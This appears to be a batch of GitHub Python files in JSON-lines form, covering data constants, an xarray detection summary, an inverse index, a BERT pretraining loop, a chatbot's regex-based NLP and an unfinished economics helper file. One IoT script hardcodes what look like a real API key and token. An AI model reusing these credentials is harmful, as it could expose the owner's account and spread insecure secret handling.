+{"seq_id":"72926887870","text":"\neda_folder = \"./images/eda/\"\n\neda_folder_archive = eda_folder + \"archive/\"\n\nresults_folder = \"./images/results/\"\n\nresults_folder_archive = results_folder + \"archive/\"\n\nmodel_folder = \"./models/\"\n\nmodel_folder_archive = model_folder + \"archives/\"\n\nlog_file_run = \"./logs/run_log.log\"\n\nlog_file_test = \"./logs/test_churn_library.log\"\n\ndata_folder = \"./data/\"\n\ndata_file = data_folder + \"bank_data.csv\"\n\ncat_columns = [\n    'Gender',\n    'Education_Level',\n    'Marital_Status',\n    'Income_Category',\n    'Card_Category'\n]\n\ndv = \"Churn\"\n\nkeep_cols = ['Customer_Age', 'Dependent_count', 'Months_on_book',\n             'Total_Relationship_Count', 'Months_Inactive_12_mon',\n             'Contacts_Count_12_mon', 'Credit_Limit', 'Total_Revolving_Bal',\n             'Avg_Open_To_Buy', 'Total_Amt_Chng_Q4_Q1', 'Total_Trans_Amt',\n             'Total_Trans_Ct', 'Total_Ct_Chng_Q4_Q1', 'Avg_Utilization_Ratio',\n             'Gender_Churn', 'Education_Level_Churn', 'Marital_Status_Churn',\n             'Income_Category_Churn', 'Card_Category_Churn']\n","repo_name":"muthiahsriram/mlops_udacity_assignment_1","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34076835555","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 15 17:38:07 2020\n\n@author: xavier.mouy\n\"\"\"\nimport xarray\nimport numpy as np\nimport os\nimport time\nimport datetime as dt\nimport argparse\n\ndef xr_sort(ds):\n    #return ds.sortby(ds.time_min_date,ascending=True)\n    ds = ds.sortby(ds.date,ascending=True)\n    \n    return ds.sortby(ds.date,ascending=True)\n\ndef to_drop_vars(ds):\n    return [x for x in list(ds.variables) if x not in ['date','audio_file_start_date','time_min_date','label_class','label_subclass','confidence']] \n\ndef fix_duplicates(ds):\n    index=range(0,len(ds['date']))\n    _, unique_index = np.unique(ds['date'], return_index=True)\n    index = np.delete(index,unique_index)\n    if len(index)>0:\n        rnd = np.round(np.random.rand(len(index))*100)-50\n        rnd[rnd==0]=1\n        rnd_offset =[np.timedelta64(int(x),'ns') for x in rnd]\n        time_ax = ds['date'].data\n        time_ax[np.array(index)] = time_ax[index] + rnd_offset\n        ds['date'] = time_ax\n    #ds.time_min_date = time_ax\n    return ds\n\ndef shift_max_dates(ds,files_dur_sec):\n    time_ax = ds['date'].data    \n    max_date = ds['audio_file_start_date'][0].data + np.timedelta64(files_dur_sec,'s')\n    index = time_ax >= max_date\n    time_ax[np.array(index)] = max_date - np.timedelta64(1,'ns')    \n    ds['date'] = time_ax    \n    return ds\n\ndef preprocess_func(ds):\n    files_dur_sec = 1799\n    return shift_max_dates(xr_sort(fix_duplicates(ds.drop(to_drop_vars(ds)))),files_dur_sec) \n\n\n\nparser = argparse.ArgumentParser(description=\"Create detections hourly summary\")\n\n# define command line arguments\nparser.add_argument('--detec_folder', type=str, default=None,\n                        help='path to the folder containing the .nc files')\nparser.add_argument('--confidence_step', type=float, default=None,\n                        help='Confidence steps between >0 and <1 ')\n\nargs = parser.parse_args()\n\n\nif args.detec_folder:\n    indir = args.detec_folder\nelse:\n    #indir=r'C:\\Users\\xavier.mouy\\Documents\\PhD\\Projects\\Dectector\\DFO_RCA_run\\RCA_Out_Jan_April2019_67391492'\n    indir=r'C:\\Users\\xavier.mouy\\Documents\\Projects\\2021_Minke_detector\\results\\NEFSC_CARIBBEAN_201612_MTQ'\n    #indir=r'C:\\Users\\xavier.mouy\\Documents\\PhD\\Projects\\Dectector\\DFO_RCA_run\\test_dataset'\n\nif args.confidence_step:\n       confidence_step = args.confidence_step\nelse:\n    confidence_step = 0.10\n\noutfile ='hourly_summary.nc'\n\n\n# Start timer\ntic = time.perf_counter()\n\n# load data\nprint('')\nprint('Loading dataset')\ntic1 = time.perf_counter()\n# ds = xarray.open_mfdataset(indir + \"/*.nc\" ,\n#                             parallel=True,\n#                             #preprocess=preprocess_func,\n#                             data_vars=['time_min_date','audio_file_start_date','label_class','label_subclass','confidence'],\n#                             coords=['date'],\n#                             #combine='nested',\n#                             #join='outer',\n#                             )\nds = xarray.open_mfdataset(indir + \"/*.nc\",                           \n                           chunks=10,\n                           #concat_dim='date',\n                           data_vars=['time_min_date','audio_file_start_date','label_class','label_subclass','confidence'],\n                           coords='minimal',#['date'],\n                           parallel=False,\n                           )\ntoc1 = time.perf_counter()\nprint(f\"Executed in {toc1 - tic1:0.4f} seconds\")\n\n\n#ds = xarray.open_dataset(r'C:\\Users\\xavier.mouy\\Documents\\PhD\\Projects\\Dectector\\DFO_RCA_run\\Out_Jan_April2019.nc')\n\n# Extract hourly summaries for each class and threshold\nprint('')\nprint('Calculating hourly detections')\ntic2 = time.perf_counter()\nclass_groups = ds.groupby('label_class')\nif len(class_groups)==1:\n    threshold_min = 0.5\nelse:\n    threshold_min = 1/len(class_groups)\nconfidence_thresholds = np.arange(threshold_min,1,confidence_step)\nclass_names = []\nXarrays = []\nfor name, group in class_groups:\n    print('  * Extracting class: ' + name)\n    class_names.append(name)\n    max_threshold_reached = False\n    for conf_idx, threshold in enumerate(confidence_thresholds):\n        if max_threshold_reached == False: # \n            detec_thresholded=group.where((group.confidence>=threshold),drop=False)\n            if len(detec_thresholded['date'])>0: # if there are detection for that threshold\n                detec = detec_thresholded.resample(date='H').count(dim='date')\n                print('    - confidence: ', '%.2f'%threshold)\n                if conf_idx == 0:\n                    # define date array\n                    date_array = detec['date']\n                    # initialize detec array with nan\n                    detec_array = np.empty([len(confidence_thresholds),detec.dims['date']])\n                    detec_array[:] = np.NaN            \n                # fill in appropriate row of detec array with detection counts\n                detec_array[conf_idx,:] = detec['label_class'].values\n            else: # if there are no detections anymore\n                # fill in appropriate row of detec array with zeros\n                detec_array[conf_idx,:] = 0\n                max_threshold_reached = True\n                print('    - confidence: ', '%.2f'%threshold, ' (empty)')\n        else: # fills with zeros once max confidence threshold is reached\n            # fill in appropriate row of detec array with zeros\n            detec_array[conf_idx,:] = 0\n            print('    - confidence: ', '%.2f'%threshold, ' (empty)')\n    #create xArray for that class\n    Xarrays.append(xarray.DataArray(detec_array, coords={'date': date_array, 'confidence': confidence_thresholds}, dims=['confidence','date']))\n#Create XArrayDataset\ndataset = xarray.Dataset(dict(zip(class_names,Xarrays)))\n# Save dataset as netcdf\noutdir = os.path.join(indir,'summary')\nos.mkdir(outdir)\ndataset.to_netcdf(os.path.join(outdir,outfile))\ntoc2 = time.perf_counter()\nprint(f\"Executed in {toc2 - tic2:0.4f} seconds\")\n\n# Stop timer\ntoc = time.perf_counter()\nprint('')\nprint(f\" Overall run time is {toc - tic:0.4f} seconds\")","repo_name":"xaviermouy/ecosound","sub_path":"tests/old_tests/extract_hourly_detec_summary_v2.py","file_name":"extract_hourly_detec_summary_v2.py","file_ext":"py","file_size_in_byte":6074,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"9626561976","text":"from random import randint\nfrom dictutil import *\n\n## Task 1\ndef movie_review(name):\n    \"\"\"\n    Input: the name of a movie\n    Output: a string (one of the review options), selected at random using randint\n    \"\"\"\n    review_options = [\"See it!\", \"A gem!\", \"Ideological claptrap!\"]\n    return review_options[randint(0, len(review_options)-1)]\n\n## Tasks 2 and 3 are in dictutil.py\n\n## Task 4    \ndef makeInverseIndex(strlist):\n    \"\"\"\n    Input: a list of documents as strings\n    Output: a dictionary that maps each word in any document to the set consisting of the\n            document ids (ie, the index in the strlist) for all documents containing the word.\n\n    Note that to test your function, you are welcome to use the files stories_small.txt\n      or stories_big.txt included in the download.\n    \"\"\"\n    #strlist2 = [x.lower() for x in strlist]\n    list_of_words = []\n    list2=[]\n    for key in strlist:\n        list_of_words.append(key)\n        words = {k:v for (k,v) in enumerate(list_of_words)}\n    t = list(words.values())\n    for e in t:\n        list2.extend(e.split())\n    return { word : set(txt for txt, wrds in words.items() if word in wrds.split())\n        for word in list2}\n\n## Task 5\ndef orSearch(inverseIndex, query):\n    \"\"\"\n    Input: an inverse index, as created by makeInverseIndex, and a list of words to query\n    Output: the set of document ids that contain _any_ of the specified words\n    \"\"\"\n    results = set()\n    for e in query:\n        if e in inverseIndex.keys():\n            value = inverseIndex[e]\n            results.update(value)\n    return results\n\n## Task 6\ndef andSearch(inverseIndex, query):\n    \"\"\"\n    Input: an inverse index, as created by makeInverseIndex, and a list of words to query\n    Output: the set of all document ids that contain _all_ of the specified words\n    \"\"\"\n    results1 = []\n    results2 = set()\n    for e in query:\n        if e in inverseIndex.keys():\n            value = inverseIndex[e]\n            results1.extend(value)\n    for doc_id in results1:\n        if results1.count(doc_id)== len(query):\n            results2.update({doc_id})\n    return results2\n\n","repo_name":"ghromis/CodingTheMatrix","sub_path":"Inverse Index Lab/inverse_index_lab.py","file_name":"inverse_index_lab.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"60"}
+{"seq_id":"22854556370","text":"class Solution:\n    def decodeString(self, s: str) -> str:\n        stack = []\n        times = 0\n        ans = ''\n        for c in s:\n            if c >= '0' and c <= '9':\n                times = times * 10 + int(c)\n            elif c == '[':\n                stack.append([times, ans])\n                ans = ''\n                times = 0\n            elif c == ']':\n                temp_times, temp_ans = stack.pop()\n                ans = temp_ans + temp_times * ans\n            else:\n                ans += c\n        return ans\n\n\nif __name__ == \"__main__\":\n    s = Solution()\n    print(s.decodeString('2[abc]3[cd]ef'))\n","repo_name":"fengjiachen/leetcode","sub_path":"350_399/394_Decode_String.py","file_name":"394_Decode_String.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6031363619","text":"import requests\nimport time\nimport os\nfrom lxml import etree\nimport urllib3\nimport pandas as pd\n\nperson_urls=[]\nparagraph_all=[]\nscore1_all=[]\nscore2_all=[]\nscore3_all=[]\n\ndef scrapyCommentData(pagenumber):\n\n    loadingtxt = open('./comment_{}.txt'.format(str(pagenumber)), encoding='UTF-8')\n    content = loadingtxt.read()\n    # f.close()\n    selector = etree.HTML(content)\n    items = selector.xpath('//ol[@id=\"race_comment_tab\"]/li')\n    # print(items)\n    for eachitem in items:\n        person_url = eachitem.xpath('h4/a/@href')[0]\n        person_urls.append(person_url)\n        paragrarh = ''\n        paragrarh_txt = eachitem.xpath('div[@class=\"comment-body\"]')\n        if paragrarh_txt != []:\n            paragrarh = paragrarh_txt[0].xpath('string(.)').replace('\\n', '')\n        paragraph_all.append(paragrarh)\n\n        score1='0'\n        score2 = '0'\n        score3 = '0'\n\n        event_score = eachitem.xpath('div[@class=\"comment-score\"]/span[@class=\"scores\"]/span[@class=\"score-item\"]/span')\n        print(event_score)\n        if event_score!=[]:\n            score1 = event_score[1].xpath('@data-score')[0]\n            if len(event_score) > 2:\n                score2 = event_score[3].xpath('@data-score')[0]\n            if len(event_score) > 4:\n                score3 = event_score[5].xpath('@data-score')[0]\n        score1_all.append(score1)\n        score2_all.append(score2)\n        score3_all.append(score3)\n\n    print('success loading pagenumber '+str(pagenumber))\n    return 0\n\nfor page in range(1,159):\n    scrapyCommentData(page)\nprint('finish loading all pages')\nprint(len(person_urls))\nprint(len(paragraph_all))\nprint(len(score1_all))\nprint(len(score2_all))\nprint(len(score3_all))\n\ndata1 = pd.DataFrame({'person_url': person_urls,\n                      'paragragh': paragraph_all,\n                      'score1_sight':score1_all,\n                      'score2_organize':score2_all,\n                      'score3_atomsphere':score3_all\n                    })\n\ndata1.to_excel(u'hangzhou_comment.xls', index=False, encoding='\"utf_8_sig')\nprint('信息写入完成！')\n\n\n","repo_name":"Sososososo12/iranshao_marathon","sub_path":"comment/scrapy_comment_data.py","file_name":"scrapy_comment_data.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22580496384","text":"import os\nimport tensorflow as tf\nfrom BertLayer import Bert\nfrom Data.data import DataGenerator\nfrom Loss.loss import BERT_Loss\nfrom Loss.utils import calculate_pretrain_task_accuracy\nfrom config import Config\nfrom datetime import datetime\n\n\nphysical_devices = tf.config.experimental.list_physical_devices('GPU')\nassert len(physical_devices) > 0, \"Not enough GPU hardware devices available\"\ntf.config.experimental.set_memory_growth(physical_devices[0], True)\n\nmodel = Bert(Config)\noptimizer = tf.keras.optimizers.Adam(learning_rate=5e-4)\nloss_fn = BERT_Loss()\ndataset = DataGenerator(Config)\ncheckpoint = tf.train.Checkpoint(model=model)\ncheckpoint.restore(tf.train.latest_checkpoint(Config['Saved_Weight']))\nmanager = tf.train.CheckpointManager(checkpoint, directory=Config['Saved_Weight'], max_to_keep=5)\nlog_dir = os.path.join(Config['Log_Dir'], datetime.now().strftime(\"%Y-%m-%d\"))\nwriter = tf.summary.create_file_writer(log_dir)\n\nEPOCH = 10000\nfor epoch in range(EPOCH):\n    for step in range(len(dataset)):\n        batch_x, batch_mlm_mask, origin_x, batch_segment, batch_padding_mask, batch_y = dataset[step]\n        with tf.GradientTape() as t:\n            nsp_predict, mlm_predict, sequence_output = model((batch_x, batch_padding_mask, batch_segment),\n                                                              training=True)\n            nsp_loss, mlm_loss = loss_fn((mlm_predict, batch_mlm_mask, origin_x, nsp_predict, batch_y))\n            nsp_loss = tf.reduce_mean(nsp_loss)\n            mlm_loss = tf.reduce_mean(mlm_loss)\n            loss = nsp_loss + mlm_loss\n        gradients = t.gradient(loss, model.trainable_variables)\n        optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n\n        nsp_acc, mlm_acc = calculate_pretrain_task_accuracy(nsp_predict, mlm_predict, batch_mlm_mask, origin_x, batch_y)\n\n        if step % 100 == 0:\n            print(\n                'Epoch {}, step {}, loss {:.4f}, mlm_loss {:.4f}, mlm_acc {:.4f}, nsp loss {:.4f}, nsp_acc {:.4f}'.format(\n                    epoch, step, loss.numpy(),\n                    mlm_loss.numpy(),\n                    mlm_acc,\n                    nsp_loss.numpy(), nsp_acc\n                    ))\n\n        with writer.as_default():\n            tf.summary.scalar('train_loss', loss.numpy(), step=epoch * len(dataset) + step)\n            tf.summary.scalar('mlm_loss', mlm_loss.numpy(), step=epoch * len(dataset) + step)\n            tf.summary.scalar('nsp_loss', nsp_loss.numpy(), step=epoch * len(dataset) + step)\n            tf.summary.scalar('mlm_accuracy', mlm_acc, step=epoch * len(dataset) + step)\n            tf.summary.scalar('nsp_accuracy', nsp_acc, step=epoch * len(dataset) + step)\n\n    path = manager.save(checkpoint_number=epoch)\n    print('model saved to %s' % path)\n","repo_name":"cmd23333/BERT-Tensorflow2.x","sub_path":"pretrain.py","file_name":"pretrain.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"60"}
+{"seq_id":"9012144455","text":"import json\nfrom textwrap import indent\nfrom urllib import request\nfrom urllib.error import URLError\nfrom wsgiref import validate\nimport requests\nimport sys\nimport pandas as pd\nimport validators\nimport sample\n\n\ndevice_type=sample.dt\napi_key=sample.apik\napi_token=sample.apit\niot_url=sample.ioturl\ncafile='/Users/muskanmehrotra/Downloads/gsidemocert.pem'\n\n#checking if physical interface is active or not\nif ((api_key==\"a-gsidemo-pzio1y8ese\") and (api_token==\"AZGYIl_pDrJ-qv15cP\")) :\n        piurl = iot_url + \"/v0002/device/types/\" + device_type + \"/physicalinterface\"\n        pi_data = requests.get(piurl, verify=cafile, auth=(api_key,api_token),  headers={'Content-type': 'application/json'})\n        statauscode=pi_data.status_code\n        print(statauscode)\n        if statauscode==200:\n            pi_iotlist_data=pi_data.json()\n            print(pi_iotlist_data)\n            #print(type(pi_iotlist_data))\n            if(pi_iotlist_data[\"version\"]==\"active\"):\n                print(\"Physical mapping is active\")\n            else:\n                print(\"Physical mapping is inactive\")\n        else:\n            print(\"This device type does not exists, enter a valid device type\")\n\n        #checking if the logical interface is active or not\n        liurl=iot_url + \"/v0002/device/types/\" + device_type + \"/logicalinterfaces\"\n        li_data = requests.get(liurl, verify=cafile, auth=(\"a-gsidemo-pzio1y8ese\",\"AZGYIl_pDrJ-qv15cP\"),  headers={'Content-type': 'application/json'})\n        statauscode=li_data.status_code\n        #print(statauscode)\n        if statauscode==200:\n            li_iotlist_data=li_data.json()\n            dict_data=(li_iotlist_data[0])#getting python dictionary from python list\n            print(dict_data)\n            if(dict_data[\"version\"]==\"active\"):\n                print(\"Logical mapping is active\")\n            else:\n                print(\"Logical mapping is inactive\")\n        #else:\n            #print(\"This device type does not exist, please enter a valid device type\")\n\n        #checking physical and logical ampping both are same and active\n        if(pi_data.status_code==200) and (li_data.status_code==200):\n            if (dict_data[\"version\"]==pi_iotlist_data[\"version\"]):\n                print(\"Physical and Logical mapping matched\")\n            else:\n                print(\"Physical and logical mapping does not match\")\n      \nelif ((api_key==\"a-gsidemo-pzio1y8ese\") and (api_token!=\"AZGYIl_pDrJ-qv15cP\")) :\n     print(\"Please enter a valid API Token\")\nelif ((api_key!=\"a-gsidemo-pzio1y8ese\") and (api_token==\"AZGYIl_pDrJ-qv15cP\")) :\n        print(\"Please enter a valid API Key\")\nelse :\n        print(\"Invalid API Key and API Token\")\n\n","repo_name":"Muskan20-Mehrotra/IOTCsvDataLoad","sub_path":"PiandLi.py","file_name":"PiandLi.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37569074098","text":"import entity_rec\nimport urllib.request\nimport json\nimport re\n# from flask import current_app\nCONFIDENCE_LEVEL = 0.8\n\n\nclass nlp_class:\n    def __init__(self, module):\n        self.module = module\n\n    def match_text(self, value, options):\n        \"\"\"\n        Will check if value has a high probality (cos sim) to one of the options.\n\n        input:\n            Value   str of userinput\n            options the options that the text could be\n\n        The return depends on the confince level so\n            - if the confidence if high enough than \"choice_\" + option index\n            - otherwise just the msg\n\n\n        \"\"\"\n        choice = entity_rec.match_text(value, options)\n        if choice[\"confidence\"] > CONFIDENCE_LEVEL:\n            return \"$choice_\" + str(choice[\"choice\"])\n        return value\n\n    def interpert_message(self, ink_story, recipient_id, msg):\n        if ink_story[recipient_id].variablesState[\"started\"] == False:\n            self.module.reset(ink_story, recipient_id)\n        print(\"Debug: NLP: Processing \", msg)\n        # web_msg = msg.replace(\" \", \"%20\")\n        # dt/text/entities?text=\n        resp = None\n\n        if not len(msg.replace(\" \", \"\")):\n            return ink_story\n\n        resp = entity_rec.predict(msg)\n        # response is dict like jsonfile\n        try:\n            pass\n            # url = 'http://0.0.0.0:5081/dt/text/entities?text=' + web_msg\n            # print(\"url\", url)\n            # response = urllib.request.urlopen(url)\n            # resp = response.read().decode('UTF-8')\n            # print(\"response\",resp.replace(\"\\n\",\"--\"))\n        except:\n\n            print(\"Debug: NLP: No entities found\")\n        print(resp)\n        if not resp == None:\n            # resp = json.loads(resp)\n            for key in resp:\n                obj = resp[key]\n                if float(resp[key][\"confidence\"]) < CONFIDENCE_LEVEL or key is 'intent_unknown':\n                    print(\"not sure about\", obj, \"break\")\n                else:\n\n                    value = obj[\"text\"]\n                    #  {'entityName': 'intent_unknown', 'entityScore': '0', 'entityValue':True}\n                    if key.startswith(\"intent_\"):\n                        key = key.replace(\"intent_\", \"\")\n                        print(\"Debug: NLP: intent_ \", key, \" detected\")\n                        if key == \"unkown\":\n                            print(\"Debug: NLP: key = \", key, \"break\")\n                        elif key == \"stop\" and len(msg.split(\" \")) > 1:\n                            print(\"Debug: NLP: key = \", key, \"too long\",\n                                  len(msg.split(\" \")), \"break\")\n\n                        self.module.set_variable(\n                            ink_story, recipient_id, \"intent\", key)\n\n                    else:\n                        print(value, \" detected as \", key)\n                        if key in [\"nlp_f_name\", \"nlp_l_name\"] and value[0].islower():\n                            print(\"Debug:NLP: to upper\")\n                            value = value[0].upper() + value[1:]\n\n                        self.module.set_variable(\n                            ink_story, recipient_id, key, value)\n\n        else:\n            print(\"Debug: NLP: Some type of error\")\n\n        goal_legend = [\"unknown\", \"context_weather\",\n                       \"context_sql_lookup\", \"context_sql_change\", \"context_sql_count\"]\n\n        # Rule-based NLP\n        if \"morgen\" in msg:\n            self.module.set_variable(\n                ink_story, recipient_id, \"nlp_time\", \"morgen\")\n            print(\n                \"Debug: Rule-based NLP: variable *nlp_time* set as *morgen* based on *morgen* keyword\")\n        if 'nu' in msg or 'vandaag' in msg:\n            self.module.set_variable(ink_story, recipient_id, \"nlp_time\", \"nu\")\n            print(\n                \"Debug: Rule-based NLP: variable *nlp_time* set as *nu* based on *nu/vandaag* keyword\")\n        if \"weer\" in msg:\n            print(\"Debug: Rule-based NLP:\", \"intent set as\",\n                  \"*weather*\", \"based on\", \"*weer*\", \"keyword\")\n            self.module.set_variable(\n                ink_story, recipient_id, \"intent\", \"weather\")\n        for goal_ in goal_legend:\n            if goal_ in msg:\n                print(goal_, \"detected\", \"hard\")\n                self.module.set_variable(ink_story, recipient_id, goal_, \"1\")\n        if 'verhuizen' in msg:\n            print(\n                \"Debug: Rule-based NLP: intent set as *verhuizen* based on *verhuizen* keyword\")\n            self.module.set_variable(\n                ink_story, recipient_id, \"context_sql_lookup\", \"1\")\n            self.module.set_variable(\n                ink_story, recipient_id, \"context_weather2\", \"0\")\n        if 'vakantie' in msg:\n            print(\"vakantie\", \"detected\", \"hard\")\n            self.module.set_variable(\n                ink_story, recipient_id, \"intent\", \"vacation\")\n            self.module.set_variable(\n                ink_story, recipient_id, \"context_sql_count\", \"1\")\n            self.module.set_variable(\n                ink_story, recipient_id, \"context_sql_lookup\", \"0\")\n            self.module.set_variable(\n                ink_story, recipient_id, \"context_weather\", \"0\")\n\n        digits = re.findall(\"(\\d+)\", msg)\n        if len(digits):\n            for dig in digits:\n                print(\"Debug: Rule-based NLP: entity set as \" +\n                      str(dig) + \" based on *digigts*\")\n                self.module.set_variable(\n                    ink_story, recipient_id, \"number\", str(dig))\n\n        postcode = re.findall(\"[0-9][0-9][0-9][0-9][A-Z][A-Z]\", msg)\n        if len(postcode):\n            for code in postcode:\n                print(\"Debug: Rule-based NLP: entity set as \" +\n                      str(code) + \" based on *postcode*\")\n                self.module.set_variable(\n                    ink_story, recipient_id, \"nlp_postcode\", str(code))\n\n        straat = re.findall(\n            \"([A-z]*)(laan|hof|straat|pad|markt|kade|boulevard|tuin|hof|steeg])( )([0-z]*)\", msg)\n        if len(straat):\n            for stra in straat:\n                stra = \"\".join(stra)\n                print(\"Debug: Rule-based NLP: entity set as \" +\n                      str(stra) + \" based on *street*\")\n                self.module.set_variable(\n                    ink_story, recipient_id, \"nlp_street\", str(stra))\n        ink_story = self.hard_detect(ink_story, recipient_id, msg)\n        return ink_story\n\n    def hard_detect(self, ink_story, recipient_id, msg):\n        dict_with_regex = {\"(\\d+)\": {\"key\": \"number\"},\n                           \"[0-9][0-9][0-9][0-9][A-Z][A-Z]\": {\"key\": \"nlp_postcode\"},\n                           \"([A-z]*)(laan|hof|straat|pad|markt|kade|boulevard|tuin|hof|steeg])( )([0-z]*)\":\n                           {\"key\": \"nlp_street\"},\n                           \"(thuis.*vesta.*pro)\": {\"key\": \"intent_dwg_7\", \"case_insenstive\": False},\n                           \"(vesta.*pro.*thuis)\": {\"key\": \"intent_dwg_7\", \"case_insenstive\": False},\n                           \"(datafreeze)\": {\"key\": \"intent_dwg_13\", \"case_insenstive\": False},\n                           \"(recuperatieverlof.*glijsaldo.*negatief)\": {\"key\": \"intent_dwg_20\", \"case_insenstive\": False},\n                           \"(recuperatieverlof.*negatief.*glijsaldo)\": {\"key\": \"intent_dwg_20\", \"case_insenstive\": False},\n                           \"(negatief.*glijsaldo.*recuperatieverlof)\": {\"key\": \"intent_dwg_20\", \"case_insenstive\": False},\n                           \"(glijsaldo.*negatief.*recuperatieverlof)\": {\"key\": \"intent_dwg_20\", \"case_insenstive\": False},\n                           \"(tikkingen)\": {\"key\": \"intent_dwg_21\", \"case_insenstive\": False},\n                           \"(inhaalrust)\": {\"key\": \"intent_dwg_25\", \"case_insenstive\": False},\n                           \"verlofaanvraag.*(Outlook)\": {\"key\": \"intent_dwg_26\", \"case_insenstive\": False},\n                           \"verlofaanvraag.*([e\\s]mail)\": {\"key\": \"intent_dwg_26\", \"case_insenstive\": False},\n                           \"(Outlook).*verlofaanvraag\": {\"key\": \"intent_dwg_26\", \"case_insenstive\": False},\n                           \"([e\\s]mail).*verlofaanvraag\": {\"key\": \"intent_dwg_26\", \"case_insenstive\": False},\n                           \"(verlof).*(uren)\": {\"key\": \"intent_dwg_27\", \"case_insenstive\": False},\n                           \"(verlof).*(dag)\": {\"key\": \"intent_dwg_27\", \"case_insenstive\": False},\n                           \"(uren).*(verlof)\": {\"key\": \"intent_dwg_27\", \"case_insenstive\": False},\n                           \"(dag).*(verlof)\": {\"key\": \"intent_dwg_27\", \"case_insenstive\": False},\n                           \"Tako\": {\"key\": \"nlp_f_name\", \"case_insenstive\": True},\n                           \"Tabak\": {\"key\": \"nlp_l_name\", \"case_insenstive\": True},\n                           \"Johan\": {\"key\": \"nlp_f_name\", \"case_insenstive\": False},\n                           \"Lugthart\": {\"key\": \"nlp_l_name\", \"case_insenstive\": False},\n                           }\n        for regex in dict_with_regex:\n            if \"case_insenstive\" in dict_with_regex[regex]:\n                if not dict_with_regex[regex][\"case_insenstive\"]:\n                    entity = re.findall(regex, msg, re.IGNORECASE)\n                else:\n                    entity = re.findall(regex, msg)\n            else:\n                entity = re.findall(regex, msg)\n\n            if len(entity):\n                key = dict_with_regex[regex][\"key\"]\n                for value in entity:\n                    value = \"\".join(value)\n                    if key.startswith(\"intent_\"):\n                        key = key.replace(\"intent_\", \"\")\n                        print(\"Debug: Rule-based NLP: intent \" +\n                              key + \" set as \" + str(True))\n                        self.module.set_variable(ink_story, recipient_id,\n                                                 'intent', key)\n                    else:\n                        print(\"Debug: Rule-based NLP: entity \" +\n                              key + \" set as \" + str(value))\n\n                        self.module.set_variable(ink_story, recipient_id,\n                                                 key, str(value))\n\n        return ink_story\n\n\ndef change_key(key):\n    dict_of_keys = {'nlp_l_name': \"nlp_f_name\", 'nlp_loc': 'nlp_l_name',\n                    \"nlp_time\": 'nlp_loc', 'nlp_city': 'nlp_postcode',\n                    'nlp_postcode': 'nlp_street', 'nlp_dob': 'nlp_dob'}\n    if key in dict_of_keys:\n        print(\"from \", key, \"to\", dict_of_keys[key])\n        key = dict_of_keys[key]\n    return key\n","repo_name":"takotab/chatbot","sub_path":"bot/nlp.py","file_name":"nlp.py","file_ext":"py","file_size_in_byte":10537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72130385792","text":"\nimport numpy as np\nimport numba as nb\n\nfrom GEModelTools import lag, lead, isclose\n\n###########\n# helpers #\n###########\n\n@nb.njit\ndef annual_inflation(pi_ann, P, T, ssP):\n    for t in range(T):\n        if t >=4:\n            pi_ann[t] = P[t]/P[t-4] - 1\n        else:\n            pi_ann[t] = P[t]/ssP - 1\n\n@nb.njit\ndef convert_q2a(x_q):\n    x_a = (1+x_q)**4 - 1  \n    return x_a \n\n@nb.njit\ndef I_adj_cost(I_p, I, phi_I):\n    adj_cost = phi_I/2 * (I_p/I-1)**2\n    adj_cost_deriv = phi_I * (I_p/I-1)\n    return adj_cost, adj_cost_deriv\n\n@nb.njit\ndef CTW_adj_cost(I_p, I, Spp):\n    x = I_p/I\n    sqrt_Spp = np.sqrt(Spp)\n    adj_cost = 1/2 * (np.exp(sqrt_Spp*(x-1)) + np.exp(-sqrt_Spp*(x-1)) - 2) \n    adj_cost_deriv = sqrt_Spp/2 * (np.exp(sqrt_Spp*(x-1)) - np.exp(-sqrt_Spp*(x-1))) \n    return adj_cost, adj_cost_deriv\n\n@nb.njit\ndef chain_price_index(P, ssP, Y, P1, ssP1, Y1, P2, ssP2, Y2, T, sign=1.0):\n    for t in range(T):\n        if t==0:\n            Y[t]  = (ssP1 * Y1[t] + sign*(ssP2 * Y2[t]))/ssP\n        else:\n            Y[t]  = (P1[t-1] * Y1[t] + sign*(P2[t-1] * Y2[t]))/P[t-1]\n        P[t] = (P1[t] * Y1[t] + sign*(P2[t] * Y2[t]))/Y[t]\n\n@nb.njit\ndef CES_demand(c, PH, PF, P, eta, alpha, c_bar=0.0):\n    cF = alpha     * (PF/P)**(-eta) * (c - c_bar*PF/P) + c_bar  \n    cH = (1-alpha) * (PH/P)**(-eta) * (c - c_bar*PF/P)\n    return cF, cH\n\n@nb.njit\ndef CES_demand_3_inputs(X, PH, PNT, PF,PX, eta, Theta_T, Theta_NT, Theta_M):\n    XT2T  = Theta_T     * (PH/PX)**(-eta) * X \n    XNT2T = Theta_NT * (PNT/PX)**(-eta) * X\n    XM2T  = Theta_M * (PF/PX)**(-eta) * X\n    return XT2T, XNT2T, XM2T\n\n@nb.njit\ndef get_intermediates(XT, XNT, PXT, PXNT, PH, PNT, PF, Theta_T, Theta_NT, etaX):  \n    XT2T, XNT2T, XM2T = CES_demand_3_inputs(XT, PH, PNT, PF, PXT, etaX, Theta_T[0], Theta_T[1], Theta_T[2]) # intermediate demand in tradeable sector\n    XNT2NT, XT2NT = CES_demand(XNT, PH, PNT, PXNT, etaX, Theta_NT[0]) # intermediate demand in non-tradeable sector\n    return XT2NT, XNT2T, XNT2NT, XT2T, XM2T\n\n@nb.njit\ndef CES_demand_T(C, PT, PNT, P, etaT, alphaT, c_bar=0.0):\n    CT = alphaT     * (PT/P)**(-etaT) * (C - c_bar*PT/P) + c_bar  \n    CNT = 